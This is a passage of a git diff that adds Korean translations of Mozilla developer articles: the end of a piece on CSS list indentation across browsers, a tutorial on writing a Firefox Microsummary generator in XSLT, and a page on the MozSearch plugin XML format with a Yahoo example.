+<p>이 두 접근법에 대해서 잠깐 살펴봅시다. 익스플로러와 오페라의 경우, 리스트들은 <code>&lt;ul&gt;</code>에 40 픽셀의 왼쪽 마진을 줌으로써 들여쓰여지게 됩니다. 만일 <code>&lt;ul&gt;</code> 엘리먼트에 배경색을 적용하고 리스트 아이템과 <code>&lt;ul&gt;</code> 보더들을 그냥 놔둘 경우, 그림 5에서 보이는 것과 같은 결과를 얻게 됩니다.</p>
+
+<p><img alt="Figure 5"></p>
+
+<p>반면, Gecko는 <code>&lt;ul&gt;</code> 엘리먼트에 대해서 40픽셀의 왼쪽<em>패딩</em> 을 줍니다. 따라서 그림 5를 만들어내는데 사용된 것과 똑 같은 스타일을 적용하게 된다고 가정하면, Gecko기반 브라우저로 예제를 로딩했을때 그림 6과 같은 그림을 보게 됩니다.</p>
+
+<p><img alt="Figure 6"></p>
+
+<p>보이는 바와 같이, 마커들은, 어디에 있게 되건간에, <code>&lt;li&gt;</code> 엘리먼트에 붙여진 채로 남아 있습니다. 차이점은 전적으로 <code>&lt;ul&gt;</code>가 어떤식으로 스타일을 갖추게 되는가에 달려있습니다. 이 차이점은 <code>&lt;ul&gt;</code> 엘리먼트에 배경색이나 보더를 지정하려고 할 경우에만 나타나게 됩니다.</p>
+
+<h2 id=".EC.9D.BC.EA.B4.80.EC.84.B1_.EC.B0.BE.EA.B8.B0" name=".EC.9D.BC.EA.B4.80.EC.84.B1_.EC.B0.BE.EA.B8.B0">일관성 찾기</h2>
+
+<p>모든것을 정리해보면 이런 결론에 도달하게 됩니다. 즉, Gecko, 익스플로러, 그리고 오페라 간에 리스트을 일관성있게 렌더링하고 싶으면, <code>&lt;ul&gt;</code> 엘리먼트의 왼쪽 마진 그리고 왼쪽 패딩<em>둘다</em> 지정해야 한다는 것입니다. 이런 목적으로 <code>&lt;li&gt;</code> 을 아예 무시해 버릴 수도 있습니다. 넷스케이프 6.x 에서 디폴트 디스플레이로 돌아가고 싶다면:</p>
+
+<pre>ul {margin-left: 0; padding-left: 40px;}</pre>
+
+<p>만약, 익스플로러/오페라 모델을 따르길 원한다면:</p>
+
+<pre>ul {margin-left: 40px; padding-left: 0;}</pre>
+
+<p>라고 쓰면 됩니다.</p>
+
+<p>물론, 자기 자신이 선호하는 값을 써 넣을 수도 있습니다. 원한다면 둘다 <code>1.25em</code>로 정해 줄 수도 있습니다 -- 픽셀에 기반한 들여쓰기에만 묶여있을 이유는 없습니다. 만일 리스트들이 들여쓰기를 하지 않도록 리셋하고 싶으면, 패딩과 마진 값을 0으로 정해 주어야만 합니다.</p>
+
+<pre>ul {margin-left: 0; padding-left: 0;}</pre>
+
+<p>하지만, 그렇게 하면, 불렛들이 리스트와 부모 엘리먼트의 바깥쪽에 매달려 있게 된다는 점을 기억하세요. 만일 <code>body</code>가 부모일 경우, 불렛이 브라우저 윈도우 밖으로 완전히 나가있게 되서, 보이지 않게 될 가능성이 아주 높습니다.</p>
+
+<h2 id=".EA.B2.B0.EB.A1.A0" name=".EA.B2.B0.EB.A1.A0">결론</h2>
+
+<p>결국, 여기에 언급된 브라우져들이 리스트를 레이아웃하는 방식에있어서 올바르거나 그르거나 하지 않다는 것을 알 수 있습니다. 각 브라우저는 다른 디폴트 스타일을 사용하고 있으며, 거기서 문제점들이 기어들어 오게 되는 것입니다. 리스트의 왼쪽 패딩과 왼쪽 마진 둘다를 확실하게 스타일 지정 함으로써 리스트 들여쓰기에 있어서 브라우저간 일관성을 보다 획기적으로 유지할 수 있게 되는 것입니다.</p>
+
+<h2 id=".EA.B6.8C.EC.9E.A5_.EC.82.AC.ED.95.AD" name=".EA.B6.8C.EC.9E.A5_.EC.82.AC.ED.95.AD">권장 사항</h2>
+
+<ul>
+ <li>리스트의 들여쓰기간격을 바꿀때에는 패딩과 마진 둘다 지정하는 것을 잊지마세요.</li>
+</ul>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information">Original Document Information</h2>
+
+<ul>
+ <li>Author(s): Eric A. Meyer, Netscape Communications</li>
+ <li>Last Updated Date: Published 30 Aug 2002</li>
+ <li>Copyright Information: Copyright © 2001-2003 Netscape. All rights reserved.</li>
+ <li>Note: This reprinted article was originally part of the DevEdge site.</li>
+</ul>
+</div>
diff --git a/files/ko/creating_a_microsummary/index.html b/files/ko/creating_a_microsummary/index.html
new file mode 100644
index 0000000000..4c2b8c9734
--- /dev/null
+++ b/files/ko/creating_a_microsummary/index.html
@@ -0,0 +1,169 @@
+---
+title: Creating a Microsummary
+slug: Creating_a_Microsummary
+translation_of: Archive/Mozilla/Creating_a_microsummary
+---
+<p>Microsummary Generator는 웹 페이지 내용으로부터 Microsummary를 생성하기 위한 명령어를 포함하고 있니다.웹 페이지는 Generators를 <code>&lt;head&gt;</code> 요소의 <code>&lt;link rel="microsummary"&gt;</code>요소에 의해 참조할 수 있습니다. Generators는 이것이 적용되는 웹 페이지 목록을 가지고 있는 경우, 사용자에 의해 개별적으로 다운로드하거나 설치할 수 있습니다.</p>
+<p>이 튜토리얼에서는,<a class="external" href="http://www.spreadfirefox.com/">Spread Firefox home page</a>용으로 Firefox 의 현재 다운로드수를 <cite>Fx downloads</cite>와 함께 표시하는 Microsummary Generators를 만들어 보겠습니다. 예제 <cite>174475447 Fx downloads</cite></p>
+<p>웹 페이지에서 Microsummary로 변환하려면 XSLT 변환 시트를 작성해 Generators를 웹 페에지에 적용하기 위한 방법을 통해 Generators를 다운로드 및 설치 할 수 있도록 합니다.</p>
+<p>이 입문서에서는, 단계 마다 변환 시트나 그 외의 코드에서 추가된 새로운 항목은 알기 쉽게 <b>굵은 글씨로</b> 표시합니다.</p>
+<h2 id=".EC.8B.9C.EC.9E.91.ED.95.98.EA.B8.B0" name=".EC.8B.9C.EC.9E.91.ED.95.98.EA.B8.B0">시작하기</h2>
+<p>Generators는 <cite><a class="external" href="http://www.mozilla.org/microsummaries/0.1" rel="freelink">http://www.mozilla.org/microsummaries/0.1</a></cite>을 네임 스페이스로 하여 기본 요소가 <code>&lt;generator&gt;</code>인 XML 문서로 표현됩니다. Generators를 작성하려면 우선 신규로 텍스트 파일을 만들어 XML 선언과 <code>&lt;generator&gt;</code> 태그를 추가합니다.</p>
+<pre class="eval"><b>&lt;?xml version="1.0" encoding="UTF-8"?&gt;</b>
+<b>&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"&gt;</b>
+<b>&lt;/generator&gt;</b>
+</pre>
+<h2 id=".EB.AA.85.EB.AA.85.ED.95.98.EA.B8.B0" name=".EB.AA.85.EB.AA.85.ED.95.98.EA.B8.B0">명명하기</h2>
+<p>Generators가 생성되었으면 Microsummary에 대한 이름으로서 <code>name</code> 속성을 가질 필요가 있습니다.이름은 이 Microsummary에서 어떤 정보를 제공하는지 사용자에게 명확하게 나타내 주는 것으로 정합니다.만드려는 Generators가 Firefox의 다운로드 수를 표시하는 Microsummary이므로 "Firefox Download Count"라는 이름을 붙이기로 하겠습니다.</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+           <b>name="Firefox Download Count"</b>&gt;
+&lt;/generator&gt;
+</pre>
+<h2 id="XSLT_Sheet_.EC.B6.94.EA.B0.80" name="XSLT_Sheet_.EC.B6.94.EA.B0.80">XSLT Sheet 추가</h2>
+<p>Generators는 웹 페이지 내용을 Microsummary로 변환할 때 XSLT 변환 시트를 포함해야 합니다. XSLT는 같은 정보를 가진 문서를 다른 형식으로 표현하기 위한 강력한 언어입니다.</p>
+<p>Generators에 <code>&lt;template&gt;</code> 둘러싸는 XSLT 변환 시트를 추가합니다.</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+           name="Firefox Download Count"&gt;
+  <b>&lt;template&gt;</b>
+    <b>&lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;</b>
+    <b>&lt;/transform&gt;</b>
+  <b>&lt;/template&gt;</b>
+&lt;/generator&gt;
+</pre>
+<p>Microsummary Generators는 내용을 출력하는 임의의 XSLT를 포함하지만 Firefox는 현재 XSLT의 내용 출력만 제공함을 유의하시기 바랍니다.</p>
+<h2 id=".EC.B6.9C.EB.A0.A5_.ED.98.95.EC.8B.9D_.EC.A7.80.EC.A0.95" name=".EC.B6.9C.EB.A0.A5_.ED.98.95.EC.8B.9D_.EC.A7.80.EC.A0.95">출력 형식 지정</h2>
+<p>XSLT 변환 시트는 텍스트 형식의 Microsummary를 생성하므로 XSLT <code>&lt;output&gt;</code> 요소로 이것을 지정합니다.</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+           name="Firefox Download Count"&gt;
+  &lt;template&gt;
+    &lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;
+      <b>&lt;output method="text"/&gt;</b>
+    &lt;/transform&gt;
+  &lt;/template&gt;
+&lt;/generator&gt;
+</pre>
+<h2 id=".EA.B0.84.EB.8B.A8.ED.95.9C_XSLT_.3Ctemplate.3E_.EC.82.AC.EC.9A.A9" name=".EA.B0.84.EB.8B.A8.ED.95.9C_XSLT_.3Ctemplate.3E_.EC.82.AC.EC.9A.A9">간단한 XSLT <code>&lt;template&gt;</code> 사용</h2>
+<p>XSLT 프로세서는 변환 시트의 XSLT <code>&lt;template&gt;</code> 요소를 문서의 노드 집합과 비교하는 것으로 문서를 변환합니다.<code>&lt;template&gt;</code> 의 <code>match</code> 속성이 있는 노드와 맞으면 프로세서는 요소의 컨텐츠로 정의된 변환을 실행합니다.</p>
+<p>문서의 노드 트리를 탐색해 문서의 내용에 근거해 재귀적으로 출력을 생성할 수 있으므로 이 메카니즘은 매우 강력합니다.그러나, Spread Firefox의 Microsummary를 생성하는 목적에 있어서는 문서의 루트 요소에 매치하는 단일한 <code>&lt;template&gt;</code> 요소만이 필요합니다.</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+           name="Firefox Download Count"&gt;
+  &lt;template&gt;
+    &lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;
+      &lt;output method="text"/&gt;
+      <b>&lt;template match="/"&gt;</b>
+      <b>&lt;/template&gt;</b>
+    &lt;/transform&gt;
+  &lt;/template&gt;
+&lt;/generator&gt;
+</pre>
+<h2 id=".EB.8B.A4.EC.9A.B4.EB.A1.9C.EB.93.9C.EC.88.98_.EA.B0.80.EC.A0.B8.EC.98.A4.EA.B8.B0" name=".EB.8B.A4.EC.9A.B4.EB.A1.9C.EB.93.9C.EC.88.98_.EA.B0.80.EC.A0.B8.EC.98.A4.EA.B8.B0">다운로드수 가져오기</h2>
+<p>XSLT 변환 시트의 출력에 다운로드수를 포함하려면 템플릿에 XSLT의 <code>&lt;value-of&gt;</code> 요소를 추가해야 합니다. <code>select</code> 속성에는 다운로드수를 포함한 노드를 지시하는 XPath를 기입합니다.</p>
+<p>XPath는 HTML/XML 문서의 노드를 특정하기 위한 언어입니다.이것에는 노드와 내용을 조작하기 위한 기본적인 기능이 포함되어 있습니다. 특정 노드를 표현하는 XPath를을 얻는 가장 빠른 사용 방법은 [<a class="link-https" href="https://addons.mozilla.org/firefox/1095/" rel="freelink">https://addons.mozilla.org/firefox/1095/</a> 확장 기능 XPath Checker]을 사용하는 것입니다.</p>
+<p>확장 기능을 설치 하기 위해서는 Firefox 다시 시작합니다. <a class="external" href="http://www.spreadfirefox.com/">Spread Firefox 홈 페이지</a>에 가서 Firefox의 다운로드수를 찾아내(오른쪽 맨 밑의 큰 수치) 숫자 위에서 오른쪽을 클릭해 context menu로부터 <cite>View XPath</cite>을 선택합니다..</p>
+<p>XPath Checker는 새 창을 엽니다. 창에는 <cite>XPath</cite>필드가 포함되어 거기에는 다운로드수를 나타내는 노드를 가리키는 XPath 기술： <cite>id('download-count')</cite>이라고 표현됩니다.</p>
+<p>XSLT의 <code>&lt;template&gt;</code>요소에 <code>&lt;value-of&gt;</code>요소를 추가해,<code>select</code> 속성에 XPath 내용을 기입합니다.</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+           name="Firefox Download Count"&gt;
+  &lt;template&gt;
+    &lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;
+      &lt;output method="text"/&gt;
+      &lt;template match="/"&gt;
+        <b>&lt;value-of select="id('download-count')"/&gt;</b>
+      &lt;/template&gt;
+    &lt;/transform&gt;
+  &lt;/template&gt;
+&lt;/generator&gt;
+</pre>
+<h2 id=".EB.82.B4.EC.9A.A9_.EC.B6.94.EA.B0.80" name=".EB.82.B4.EC.9A.A9_.EC.B6.94.EA.B0.80">내용 추가</h2>
+<p>Microsummary에 <cite>Fx downloads</cite>를 추가하려면 추가하고 싶은 컨텐츠를 가진 XSLT의 <code>&lt;text&gt;</code> 요소를 XSLT의 <code>&lt;template&gt;</code> 요소에 추가할 필요가 있습니다.</p>
+<p>Add a <code>&lt;text&gt;</code> element to the XSLT template with the content <cite>Fx downloads</cite>:</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+           name="Firefox Download Count"&gt;
+  &lt;template&gt;
+    &lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;
+      &lt;output method="text"/&gt;
+      &lt;template match="/"&gt;
+        &lt;value-of select="id('download-count')"/&gt;
+        <b>&lt;text&gt; Fx downloads&lt;/text&gt;</b>
+      &lt;/template&gt;
+    &lt;/transform&gt;
+  &lt;/template&gt;
+&lt;/generator&gt;
+</pre>
+<p>여러개의 공백을 포함할 수 있는 HTML과 달리 XSLT 태그간의 공백은 XSLT 출력에는 포함되지 않기 때문에, 다운로드수와 분리하기 위한 공백을 추가하는 것에 주의해 주세요.</p>
+<p>이로서 Spread Firefox 홈 페이지를 Microsummary를 변환한 XSLT 변환 시트의 작성은 끝났습니다.</p>
+<h2 id="Generators_.EC.A0.81.EC.9A.A9_.EC.9B.B9_.ED.8E.98.EC.9D.B4.EC.A7.80_.EC.A7.80.EC.A0.95" name="Generators_.EC.A0.81.EC.9A.A9_.EC.9B.B9_.ED.8E.98.EC.9D.B4.EC.A7.80_.EC.A7.80.EC.A0.95">Generators 적용 웹 페이지 지정</h2>
+<p>여기까지 변환 시트의 작성을 마쳤으므로 그 다음 이것을 적용하는 웹 페이지를 지정할 필요가 있습니다.만약 우리가 Spread Firefox의 웹 관리자라면, <code>&lt;head&gt;</code> 요소에 <code>&lt;link rel="microsummary"&gt;</code> 태그를 추가하는 것으로써 웹페이지 자신으로부터 Generator 작성이 끝납니다.</p>
+<pre class="eval">&lt;head&gt;
+  ...
+  <b>&lt;link rel="microsummary" href="path/to/our/generator.xml"&gt;</b>
+&lt;/head&gt;
+</pre>
+<p><br>
+ 비록 사이트 관리자가 아니지만 Generator 안에 어느 페이지에 적용하는 지정하여 다운로드나 설치하도록 할 수 있습니다. 이를 위해서는 <code>&lt;generator&gt;</code> 요소에서 <code>&lt;pages&gt;</code> 요소를 사용합니다.</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+           name="Firefox Download Count"&gt;
+  &lt;template&gt;
+    &lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;
+      &lt;output method="text"/&gt;
+      &lt;template match="/"&gt;
+        &lt;value-of select="id('download-count')"/&gt;
+        &lt;text&gt; Fx downloads&lt;/text&gt;
+      &lt;/template&gt;
+    &lt;/transform&gt;
+  &lt;/template&gt;
+  <b>&lt;pages&gt;</b>
+  <b>&lt;/pages&gt;</b>
+&lt;/generator&gt;
+</pre>
+<p><code>&lt;pages&gt;</code>요소는 Generator를 적용하거나 혹은 적용하지 않은 페이지를 지정하는 <code>&lt;include&gt;</code> 혹은 <code>&lt;exclude&gt;</code>을 표시할 수 있습니다.</p>
+<p><br>
+ Generators를 웹 페이지에 적용하려면 <code>&lt;include&gt;</code> 요소를 추가합니다. 내용은 웹 페이지와 연결 시키는 정규 표현입니다. Generators를 페이지에 적용시키지 않으려면<code>&lt;exclude&gt;</code> 요소를 추가합니다.</p>
+<p>기본적으로 Generators는 어느 페이지에도 적용되지 않기 때문에 적용하는 페이지를 명시적으로 지정할 필요가 있습니다.이전 적용하고 있던 페이지가 없는 한 어느 페이지도 적용을 제외할 필요는 없습니다.</p>
+<p>Spread Firefox의 홈 페이지에 연결하는 <code>&lt;include&gt;</code> 요소를 추가합니다.</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>" name="Firefox Download Count"&gt;
+  &lt;template&gt;
+    &lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;
+      &lt;output method="text"/&gt;
+      &lt;template match="/"&gt;
+        &lt;value-of select="id('download-count')"/&gt;
+        &lt;text&gt; Fx downloads&lt;/text&gt;
+      &lt;/template&gt;
+    &lt;/transform&gt;
+  &lt;/template&gt;
+  &lt;pages&gt;
+    <b>&lt;include&gt;<span class="nowiki">http://(www.)?spreadfirefox.com/(index.php)?</span>&lt;/include&gt;</b>
+  &lt;/pages&gt;
+&lt;/generator&gt;
+</pre>
+<h2 id="Generators_.EB.8B.A4.EC.9A.B4.EB.A1.9C.EB.93.9C_.ED.95.98.EA.B8.B0" name="Generators_.EB.8B.A4.EC.9A.B4.EB.A1.9C.EB.93.9C_.ED.95.98.EA.B8.B0">Generators 다운로드 하기</h2>
+<p>Generators가 적용된 Spread Firefox 홈 페이지에 적용할 수 있게 되었으므로 마지막 할일은 이것을 다운로드할 수 있도록 하는 것 뿐입니다.그러기 위해서 이것을 웹에 두어 어딘가의 페이지에 JavaScript의 링크를 작성할 필요가 있습니다.이 링크는 Generators 다운로드와 설치를 위한 Firefox의 <cite>window.sidebar.addMicrosummaryGenerator()</cite> 메소드를 호출 하도록 합니다.</p>
+<p><br>
+ 예를 들면,Generators를 <a class="external" href="http://people.mozilla.com/~myk/microsummaries/tutorial/sfx-generator.xml에" rel="freelink">http://people.mozilla.com/~myk/micro...generator.xml에</a> 두고 <a class="external" href="http://people.mozilla.com/~myk/microsummaries/tutorial/index.html로" rel="freelink">http://people.mozilla.com/~myk/micro...al/index.html로</a> 부터 설치 하도록 하고 싶으면 다음과 같은 코드를 <cite>index.html</cite>에 추가합니다.</p>
+<pre class="eval"><b>&lt;a href="javascript:window.sidebar.addMicrosummaryGenerator('<span class="nowiki">http://people.mozilla.com/~myk/microsummaries/tutorial/sfx-generator.xml</span>')"&gt;Install the Spread Firefox home page microsummary!&lt;/a&gt;</b>
+</pre>
+<p>Microsummary를 지원 하지 않는 웹 브라우저로 이 링크를 클릭하면 JavaScript의 에러가 발생합니다만 사용자 경험(experience)을 향상시키기 위해 Microsummary를 제공하는 브라우저를 사용하고 있을지를 조사하고 그렇지 않다면 설명을 표시해야 하겠지요.예를 들면 다음과 같은 코드입니다.</p>
+<pre class="eval"><b>&lt;script&gt;</b>
+<b>  const warning = "Sorry, you need a microsummary-enabled browser like Firefox 2.0 to install and use microsummary generators.";</b>
+<b>  function addGenerator(url) {</b>
+<b>    if (typeof window.sidebar == "object" &amp;&amp;</b>
+<b>        typeof window.sidebar.addMicrosummaryGenerator == "function")</b>
+<b>      window.sidebar.addMicrosummaryGenerator(url);</b>
+<b>    else</b>
+<b>     alert(warning);</b>
+<b>  }</b>
+<b>&lt;/script&gt;</b>
+<b>&lt;a href="javascript:addGenerator('<span class="nowiki">http://people.mozilla.com/~myk/microsummaries/tutorial/sfx-generator.xml</span>')"&gt;Install the Spread Firefox home page microsummary!&lt;/a&gt;</b>
+</pre>
+<p>{{ Bug(341283) }}에 의해,<cite>addMicrosummaryGenerator()</cite>는 상대 URL을 받아들이지 않는 것에 주의해 주세요.</p>
+<h2 id=".EB.A7.88.EC.B9.98.EB.A9.B0" name=".EB.A7.88.EC.B9.98.EB.A9.B0">마치며</h2>
+<p>이것을 설치 하면 최신 Firefox 다운로드수를 표시하는 Microsummary Generator를 사용 할 수 있습니다. Spread Firefox 홈 페이지를 북마크하고, <cite>Add Bookmark</cite> 대화상자의 <cite>Summary</cite> 드롭 다운 메뉴로부터 Microsummary를 선택해 주세요.</p>
+<p>Microsummary 에 관한 상세한 정보는 <a class="external" href="http://wiki.mozilla.org/Microsummaries">Microsummaries home page</a>를 참조해 주세요.</p>
diff --git a/files/ko/creating_mozsearch_plugins/index.html b/files/ko/creating_mozsearch_plugins/index.html
new file mode 100644
index 0000000000..e142f00592
--- /dev/null
+++ b/files/ko/creating_mozsearch_plugins/index.html
@@ -0,0 +1,169 @@
+---
+title: Creating MozSearch plugins
+slug: Creating_MozSearch_plugins
+tags:
+  - Search plugins
+translation_of: Mozilla/Creating_MozSearch_plugins
+---
+<p>Firefox 2에서는 검색 플러그 인을 작성하기 위해서 Amazon A9의 OpenSearch포맷을 단순화한 MozSearch를 지원 하고 있습니다. OpenSearch 검색 플러그 인도 물론 지원 되고 있습니다. 자세한 것은 <a class="external" href="http://opensearch.a9.com/">OpenSearch</a> 사이트를 참조해 주세요.</p>
+<p>MozSearch 검색 플러그인은 검색 엔진과 URL을 해석하는데 필요한 요소들을 정의한 XML파일입니다.</p>
+<div class="note">
+ <b>주의:</b> MozSearch는 Firefox에서만 지원됩니다. 만약 다른 웹 브라우저 호환이 되는 플러그인을 사용하고 싶다면 표준 OpenSearch 포맷을 사용해야 합니다. 두 포맷은 매우 비슷해서 바꾸는 데 큰 문제는 없습니다.</div>
+<h2 id=".ED.94.8C.EB.9F.AC.EA.B7.B8_.EC.9D.B8_.ED.8C.8C.EC.9D.BC" name=".ED.94.8C.EB.9F.AC.EA.B7.B8_.EC.9D.B8_.ED.8C.8C.EC.9D.BC">플러그 인 파일</h2>
+<p>검색 엔진을 설명하는 XML파일은 매우 간단하고 기본적인 템플릿입니다. 이탤릭으로 되어 있는 곳은는 쓰고 있는 검색 엔진의 필요에 따라 바꿀 수 있습니다.</p>
+<pre class="eval">&lt;SearchPlugin xmlns="<span class="nowiki">http://www.mozilla.org/2006/browser/search/</span>"&gt;
+&lt;ShortName&gt;<i>engineName</i>&lt;/ShortName&gt;
+&lt;Description&gt;<i>engineDescription</i>&lt;/Description&gt;
+&lt;InputEncoding&gt;<i>inputEncoding</i>&lt;/InputEncoding&gt;
+&lt;Image width="16" height="16"&gt;data:image/x-icon;base64,<i>imageData</i>&lt;/Image&gt;
+&lt;Url type="text/html" method="<i>method</i>" template="<i>searchURL</i>"&gt;
+  &lt;Param name="<i>paramName1</i>" value="<i>paramName1</i>"/&gt;
+  ...
+  &lt;Param name="<i>paramNameN</i>" value="<i>paramValueN</i>"/&gt;
+&lt;/Url&gt;
+&lt;Url type="application/x-suggestions+json" template="<i>suggestionURL</i>"/&gt;
+&lt;SearchForm&gt;<i>searchFormURL</i>&lt;/SearchForm&gt;
+&lt;/SearchPlugin&gt;
+</pre>
+<dl>
+ <dt>
+  <b>ShortName</b></dt>
+ <dd>
+  검색 엔진에 대한 간단한 이름.</dd>
+ <dt>
+  <b>Description</b></dt>
+ <dd>
+  검색 엔진에 대한 간단한 설명.</dd>
+ <dt>
+  <b>InputEncoding</b></dt>
+ <dd>
+  검색 엔진이 데이터 입력에 사용하는 문자 인코딩 방식.</dd>
+ <dt>
+  <b>Image</b></dt>
+ <dd>
+  검색 엔진을 표시하는 Base-64로 인코딩 된 16x16의 아이콘. 이 코드를 작성하는데 사용할 수 있는 편리한 <a class="external" href="http://software.hixie.ch/utilities/cgi/data/data">The data: URI kitchen</a>을 사용할 수 있습니다.</dd>
+ <dt>
+  <b>Url</b></dt>
+ <dd>
+  검색에 사용한다 한 개 또는 복수의 URL. <code>method</code> 속성은 결과를 얻기 위해서 code&gt;GET&lt;/code&gt;과 <code>POST</code> 요청 어느 쪽을 사용하는지 지정합니다.<code>template</code> 속성은 검색 쿼리의 기본이 되는 URL을 지정합니다.</dd>
+</dl>
+<dl>
+ <dd>
+  당신이 설정할 수 있는 두 가지 URL 형식이 있습니다:</dd>
+</dl>
+<ul>
+ <li><code>type="text/html"</code>는 실제 검색 결과 그 자체의 URL을 설정하기 위해서 사용됩니다.</li>
+ <li><code>type="application/x-suggestions+json"</code>는 검색 키워드 자동 완성 기능에 사용되는 URL을 설정하기 위해서 사용됩니다.</li>
+</ul>
+<dl>
+ <dd>
+  어느 쪽의 URL을 사용하던지 사용자가 검색 플러그인에 입력한 검색 키워드로 <code>{searchTerms}</code>을 사용할 수 있습니다.</dd>
+</dl>
+<dl>
+ <dd>
+  검색 자동완성 기능의 쿼리로 지정된 URL 템플릿은 JSON 형식으로 제공 되어야 합니다. 서버 상에서 검색 자동완성 기능을 개발하는 것에 대해서는 <a href="ko/Supporting_search_suggestions_in_search_plugins">검색 플러그인에서 자동 완성 지원</a>을 참고하십시오.</dd>
+</dl>
+<p><br>
+ <img alt="Image:SearchSuggestionSample.png"></p>
+<dl>
+ <dt>
+  <b>Param</b></dt>
+ <dd>
+  검색 쿼리를 통과 시키기 위해 필요한 키값의 페어 파라미터입니다.이 값을 지정하면 사용자가 검색 바에 입력한 검색 어구를 삽입하기 위한 <code>{searchTerms}</code>을 사용할 수 있습니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <b>SearchForm</b></dt>
+ <dd>
+  플러그 인 사이트의 검색 페이지를 열기 위한 URL. 이것은 Firefox에 사용자가 직접 웹 사이트를 방문하는 방법을 제공합니다.</dd>
+</dl>
+<h2 id=".EA.B2.80.EC.83.89_.EC.97.94.EC.A7.84_.EC.9E.90.EB.8F.99_.EC.B0.BE.EA.B8.B0" name=".EA.B2.80.EC.83.89_.EC.97.94.EC.A7.84_.EC.9E.90.EB.8F.99_.EC.B0.BE.EA.B8.B0">검색 엔진 자동 찾기</h2>
+<p>검색 플러그 인을 제공하고 있는 웹 사이트는 Firefox 사용자가 플러그 인을 간단하게 다운로드해 인스톨 할 수 있도록 알려 줄 수 있습니다.</p>
+<p>자동 찾기를 지원하려면, 웹페이지 <code>&lt;HEAD&gt;</code> 요소에 아래 내용을 추가하면 됩니다.:</p>
+<pre class="eval">&lt;link rel="search" type="application/opensearchdescription+xml" title="<i>searchTitle</i>" href="<i>pluginURL</i>"&gt;
+</pre>
+<p>이탤릭의 항목은 아래에서 설명하고 있습니다.:</p>
+<dl>
+ <dt>
+  <b>searchTitle</b></dt>
+ <dd>
+  "MDC에서 검색" 이나 'Yahoo! 검색"과 같이 실행하는 검색의 이름입니다.이 값은, 플러그 인 파일의 ShortName과 일치시킬 필요가 있습니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <b>pluginURL</b></dt>
+ <dd>
+  웹 브라우저가 다운로드할 수 있는 XML 검색 플러그 인의 URL 입니다.</dd>
+</dl>
+<p>만약 당신의 웹 사이트가 다수의 검색 플러그 인을 제공하고 있다면 모두 자동 찾기를 지원하게 할 수 있습니다.예를 들면:</p>
+<pre class="eval">&lt;link rel="search" type="application/opensearchdescription+xml" title="MySite: 저자" href="<a class="external" href="http://www.mysite.com/mysiteauthor.xml" rel="freelink">http://www.mysite.com/mysiteauthor.xml</a>"&gt;
+&lt;link rel="search" type="application/opensearchdescription+xml" title="MySite: 제목" href="<a class="external" href="http://www.mysite.com/mysitetitle.xml" rel="freelink">http://www.mysite.com/mysitetitle.xml</a>"&gt;
+</pre>
+<p>이 방법으로 당신의 사이트는 저자로서 검색과 타이틀로서 검색을 다른 요소로 플러그 인을 제공할 수 있습니다.</p>
+<h2 id=".EC.98.88.EC.A0.9C:__Yahoo.21_.EA.B2.80.EC.83.89" name=".EC.98.88.EC.A0.9C:__Yahoo.21_.EA.B2.80.EC.83.89">예제: Yahoo! 검색</h2>
+<p>아래 XML 파일은 Yahoo! 검색을 이용하기 위해 Firefox2에 번들된 검색 플러그인 입니다.</p>
+<p> </p>
+<pre>&lt;SearchPlugin xmlns="http://www.mozilla.org/2006/browser/search/"&gt;
+&lt;ShortName&gt;Yahoo&lt;/ShortName&gt;
+&lt;Description&gt;Yahoo Search&lt;/Description&gt;
+&lt;InputEncoding&gt;UTF-8&lt;/InputEncoding&gt;
+&lt;SuggestionUrl&gt;http://ff.search.yahoo.com/gossip?output=fxjson&amp;command=&lt;/SuggestionUrl&gt;
+&lt;Image width="16" height="16"&gt;data:image/x-icon;base64,R0lGODlhEAAQAJECAP8AAAAAAP///wAAACH5BAEAAAIALAAAAAAQABAAAAIplI+py+0NogQuyBDEnEd2kHkfFWUamEzmpZSfmaIHPHrRguUm/fT+UwAAOw==&lt;/Image&gt;
+&lt;Url type="text/html" method="GET" template="http://search.yahoo.com/search"&gt;
+  &lt;Param name="p" value="{searchTerms}"/&gt;
+  &lt;Param name="ei" value="UTF-8"/&gt;
+  &lt;Param name="fr" value="moz2"/&gt;
+&lt;/Url&gt;
+&lt;SearchForm&gt;http://search.yahoo.com/&lt;/SearchForm&gt;
+&lt;/SearchPlugin&gt;
+</pre>
